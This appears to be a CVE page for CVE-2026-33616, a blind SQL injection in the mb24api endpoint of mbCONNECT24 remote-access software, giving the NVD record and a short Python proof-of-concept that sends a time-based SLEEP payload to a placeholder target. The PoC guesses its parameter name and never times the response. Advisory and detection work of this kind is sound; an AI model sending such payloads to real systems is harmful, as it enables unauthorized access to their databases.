CVE-2026-33616

import requests def verify_sqli(target_url): """ PoC for CVE-2026-33616 Blind SQL Injection This script sends a time-based payload to check for vulnerability. """ # Vulnerable endpoint mentioned in description endpoint = f"{target_url}/mb24api" # Time-based payload: If true, database will sleep for 5 seconds # Assuming a parameter 'id' exists, adjust based on actual request parameters payload = { "id": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } try: print(f"[*] Sending request to {endpoint}...") response = requests.post(endpoint, data=payload, timeout=10) # Analysis of response time would happen here in a full exploit # If response time > 5 seconds, vulnerability is confirmed print("[+] Request sent. Check if response time indicates delay (Blind SQLi).") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target verify_sqli(target)

{"cve": {"id": "CVE-2026-33616", "sourceIdentifier": "[email protected]", "published": "2026-04-02T10:16:17.080", "lastModified": "2026-04-16T15:41:30.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can exploit an unauthenticated blind SQL Injection vulnerability in the mb24api endpoint due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "FF88F461-51FB-482C-A406-07F72FC10D79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mymbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "36E8693F-94C4-46A4-BD83-D87B71B89F12"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2026-030", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://mbconnectline.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-030.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}